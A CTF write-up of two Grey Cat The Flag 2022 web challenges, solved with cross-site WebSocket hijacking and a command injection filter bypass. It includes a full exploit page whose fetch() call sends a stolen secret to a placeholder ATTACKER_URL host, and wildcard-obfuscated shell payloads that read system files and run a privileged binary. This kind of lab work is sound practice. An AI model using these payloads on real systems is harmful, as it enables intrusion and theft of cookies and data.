# Grey Cat The Flag 2022

## Qualifiers

I played the qualifiers while on holiday, so I was only able to join in for 1-2 hours every night. Nonetheless, my team did pretty well, finishing 3rd among Singapore teams and 4th overall.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2F3NJeBgENICpnV6dYawry%2FScreenshot%202022-06-11%20at%209.49.33%20PM.png?alt=media\&token=9e78c580-5648-457a-bc82-ac5254d8fc62)

Here are the challenges I solved.

| Challenge         | Category | Value |
| ----------------- | -------- | ----- |
| Data Degeneration | Misc     | 394   |
| Logical Computers | Misc     | 467   |
| [Quotes](#quotes) | Web      | 485   |
| SelNode           | Web      | 467   |
| Grapache          | Web      | 493   |
| [Shero](#shero)   | Web      | 495   |

## Quotes

> Feeling lost? Why don't you come and get quotes from the wise?
>
> MD5 (quotes.tar.gz) = 3ba36e72cb0ee2186745673475de8cf7
>
> * 复读机

This was a simple client-side web exploitation challenge. From the `/share` endpoint we can submit a URL for the admin bot to visit.

```python
@app.route('/share', methods=['GET','POST'])
def share():
    if request.method == "GET":
        return render_template("share.html")
    else:
        if not request.form.get('url'):
            return "yes?"
        else:
            thread_a = Bot(request.form.get('url'))
            thread_a.start()
            return "nice quote, thanks for sharing!"

```

Let's take a look at the actual functionality of the web app! The flag can be found in the `/quote` WebSockets endpoint - as long as we satisfy the following conditions:

* The WebSocket client's origin must start with `http://localhost`
* The client must have the correct `auth` cookie

```python
@sockets.route('/quote')
def echo_socket(ws):
    print('/quote', flush=True)
    while not ws.closed:
        try:
            try:
                cookie = dict(i.split('=') for i in ws.handler.headers.get('Cookie').split('; '))
            except:
                cookie = {}

            # only admin from localhost can get the GreyCat's quote
            if ws.origin.startswith("http://localhost") and cookie.get('auth') == auth_token:
                ws.send(f"{os.environ['flag']}")
            else:
                ws.send(f"{quotes[random.randint(0,len(quotes))]}")
            ws.close()
        except Exception as e:
            print('error:',e, flush=True)
```

### Setting the Auth Cookie

The correct `auth` cookie is set at the `/auth` endpoint when the request is made locally by the admin bot.

```python
# authenticate localhost only
@app.route('/auth')
def auth():
    if request.remote_addr == "127.0.0.1":
        resp = make_response("authenticated")
        # I heard httponly defend against XSS(what is that?)
        resp.set_cookie("auth", auth_token, httponly=True)
    else:
        resp = make_response("unauthenticated")
    return resp

```

It is trivial to perform a GET-based CSRF through a top-level navigation to set the authentication cookie for the victim. We subsequently "sleep" for 1 second before continuing with the rest of the exploit to ensure that the nagivation was completed and the cookie was set.

```javascript
const sleep = async (ms) => {
    return new Promise(resolve => setTimeout(resolve, ms));
}

window.open("http://localhost:7070/auth");

await sleep(1000);
```

### Bypassing the Origin Check

Although the WebSockets library used ([flask\_sockets](https://github.com/heroku-python/flask-sockets)) is pretty old, there is no vulnerability in the `ws.origin` provided - afterall, `gevent` is the one providing the necessary information in the WSGI environment.

The `ws.origin` value corresponds to that of the `Origin` request header, which is one of the [forbidden header names ](https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name)that cannot be modified progammatically by JavaScript. This is a special request header that comprises of only the following three parts of the *current* webpage URL:

```
<scheme>://<hostname>:<port>
```

Unless we find a browser zero-day that allows a malicious webpage to spoof `Origin` headers (this would be quite interesting), there is no way around our exploit page's origin needing to start with `http://localhost`.

But is that sufficient validation to ensure the WebSocket connection came from a page hosted on the localhost? Nope! We could simply use a domain *starting with* `localhost`, e.g. `localhost.zeyu2001.com`.

### Final Payload

Because there is no CSRF token being checked and because WebSockets are not restricted by the [Same-Origin Policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy), we could use "cross-site WebSocket hijacking" to obtain and exfiltrate the flag.

The following page needs to be hosted on a domain starting with `localhost` and submitted to `/share`.

```markup
<html>
    <body>
        <script>
            (async () => {

                const sleep = async (ms) => {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }

                window.open("http://localhost:7070/auth");

                await sleep(1000);

                const ws = new WebSocket('ws://localhost:7070/quote');

                ws.onopen = function open() {
                    ws.send('getquote');
                };

                ws.onmessage = function incoming(data) {
                    fetch("http://ATTACKER_URL/?quote=" + data.data)
                };
            })();
        </script>
    </body>
</html>
```

## Shero

> We like cat, so don't abuse it please =(
>
> * 复读机

The premise of this challenge was quite simple. We are given the following source code, with the goal of finding the flag somewhere on the server.

```php
<?php
    $file = $_GET['f'];
    if (!$file) highlight_file(__FILE__);

    if (preg_match('#[^.cat!? /\|\-\[\]\(\)\$]#', $file)) {
        die("cat only");
    }

    if (isset($file)) {
        system("cat " . $file);
    }
?>
```

By supplying a `?f=` GET request parameter, we can run commands on the server. One problem though - the regex filter is more than a little restrictive.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2F8yDV2WboBKODJMMAPEHJ%2FScreenshot%202022-06-09%20at%2010.57.05%20PM.png?alt=media\&token=6b9229b1-1d36-48e7-ab74-9c84ae087b2f)

This is the part where the challenge turns from a web challenge to a command injection filter bypass challenge :sob:

The list of allowed characters are as follows:

* `.`
* `c`
* `a`
* `t`
* `!`
* `?`
* &#x20;
* `/`
* `|`
* `-`
* `[`
* `]`
* `(`
* `)`
* `$`

### Reading Arbitrary Files

One trick to bypass the character filter and run commands other than `cat` is to use [wildcards](https://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm). In particular, the `?` wildcard character is used to match any single character.

For example, using `cat /?tc/???t?`, we could read the `/etc/hosts` file.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FiWImj91ArUiTz4uzihBe%2FScreenshot%202022-06-09%20at%2011.31.41%20PM.png?alt=media\&token=01535431-71c0-49a0-893a-c2d0b5556c5c)

Using `cat /????????` yielded this very interesting-looking binary. At first glance, it contained the string `readflag.c`, so we could guess that this binary is probably called `readflag` and it runs with elevated permissions to read a flag file somewhere (so that we need RCE instead of simple file reading)

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FdYIJ2hmZeQtdHsoxVaGN%2FScreenshot%202022-06-09%20at%2011.25.14%20PM.png?alt=media\&token=4080740f-4ef2-40be-9730-65d0aee79468)

If we download the binary and open it up in a decompiler, we would see that we need to pass the string `sRPd45w_0` as an argument (`argv[1]`) in order to read the flag. This was the result of rearranging the letters in the string `P4s5_w0Rd`.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FZyBRQGBic8dIb9AVppfr%2FScreenshot%202022-06-09%20at%2011.33.44%20PM.png?alt=media\&token=7b287332-4e92-4ef3-9dd4-ceb0402a85a7)

### Running Arbitrary Commands

Since the `|` character is allowed, we are able to use piping to terminate the `cat` command and start a new command. For example, using `?f=| /??a???a?` will translate to `cat | /??a???a?`, which runs the `/readflag` binary.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2F3OfjjCV87cqU0Zn0RPmh%2FScreenshot%202022-06-09%20at%2011.37.19%20PM.png?alt=media\&token=b937e171-5be6-410b-bd2a-68d02647f995)

### Passing the Argument

Now comes the torturous part. How do we get arbitrary characters to use as the password?

One thing that might help is that `$()` is allowed, so we could use [command substitution](https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html) to get the strings we need.

When reading the binary previously, we could see that the string `P4s5_w0Rd` is in the binary. If we could run `strings` on the binary, somehow extract only the password string, and rearrange the letters, we could use command substitution to pass the correct password as an argument.

We could run `/usr/bin/strings /readflag` using `/???/???/?t????? /??a???a?`&#x20;

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FGejKPoi9x3juDjLDe7O9%2FScreenshot%202022-06-09%20at%2011.51.19%20PM.png?alt=media\&token=9e54d240-6429-4110-90ed-0e34c5137850)

Now we need some way of filtering out the rest of the strings and only keeping the relevant `P4s5_w0Rd` string. I came across [this writeup](https://github.com/InfoSecIITR/write-ups/tree/master/2016/33c3-ctf-2016/misc/hohoho) of a similar command injection challenge where the author used `/etc/alternatives/nawk` to filter output using regex, so I decided to try something similar.

Luckily enough, many useful regex characters are allowed - in particular, `.`, `[` and `]` are very useful. This allowed me to construct a regex that leaves only the password string.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2F9dDNOPTN3mw5kI2o4G1G%2FScreenshot%202022-06-09%20at%2011.56.15%20PM.png?alt=media\&token=874f0618-586c-42f4-be89-1cbb362cafc4)

Using `/???/???/?t????? /???????? | /???/a?t???a?????/?a?? /[.-t][.-a][.-t][.-a][!-a].[.-a][.-t][c-t]/`, we can get the `P4s5_w0Rd` string!

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgike1mgbN76rNY87FDtw%2FScreenshot%202022-06-10%20at%2012.00.36%20AM.png?alt=media\&token=50e8bef6-c981-459b-b10f-c08664aff265)

At this point, we could try passing in the string as an argument to `/readflag` using `$()`, but this will yield "Wrong Password!".

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2F57zPRFRAEW653hDDUEDk%2FScreenshot%202022-06-10%20at%2012.03.15%20AM.png?alt=media\&token=231f31f3-6e47-44e8-a5c8-4a57d90ce7a7)

### Rearranging the Letters

We needed a way to rearrange `P4s5_w0Rd` into `sRPd45w_0`. It would be great if we could get characters of the string at specified indices - it sure is nice that a [`cut` command](https://man7.org/linux/man-pages/man1/cut.1.html) exists for this very purpose!

By using `/???/???/c?t -cX`, we will get the character of the string at index X.

But how do we get numbers? It turns out that `$?` is one of the [special parameters](https://gnu.org/software/bash/manual/html_node/Special-Parameters.html) in bash, containing the exit status code of the previous command. If the exit code is non-zero, then `$? / $?` will yield `1`, `$? / $? -- $? / $?` will yield `2`, and so on. If the exit code is zero, this method will lead to a division by zero error.

But how do we make the exit code non-zero? We just need to place an extra bogus command in front of it: `(a || /???/???/c?t -c$(($? / $?)))`.

Here's the script to generate the payload required to reconstruct the password string.

```python
original = "P4s5_w0Rd"
target = "sRPd45w_0"

final = ''
for char in target:
    idx = original.index(char)

    num = "$? / $?"

    for i in range(idx):
        num += "-- $? / $?"

    final += f"$(/???/???/?t????? /???????? | /???/a?t???a?????/?a?? /[.-t][.-a][.-t][.-a][!-a].[.-a][.-t][c-t]/ | (a || /???/???/c?t -c$(({num}))))"

print(final)
```

And here's the payload...

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FedITAu4IwUm3vLO90ns9%2FScreenshot%202022-06-10%20at%2012.22.38%20AM.png?alt=media\&token=adcaffd2-f1e6-4ddb-867f-86a180e4970a)

### Putting It All Together

All we need to do now is to use the output from the previous script and put it behind `/readflag`.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FiPu3S7y5TLjU91MMbEPd%2FScreenshot%202022-06-10%20at%2012.26.47%20AM.png?alt=media\&token=87a4a2c0-76f0-4084-8551-9fc9fa45d2c3)

and we get the flag: `grey{r35p3c7_70_b45h_m4573r_0dd14e9bc3172d16}`.

### References

* <https://github.com/InfoSecIITR/write-ups/tree/master/2016/33c3-ctf-2016/misc/hohoho>&#x20;
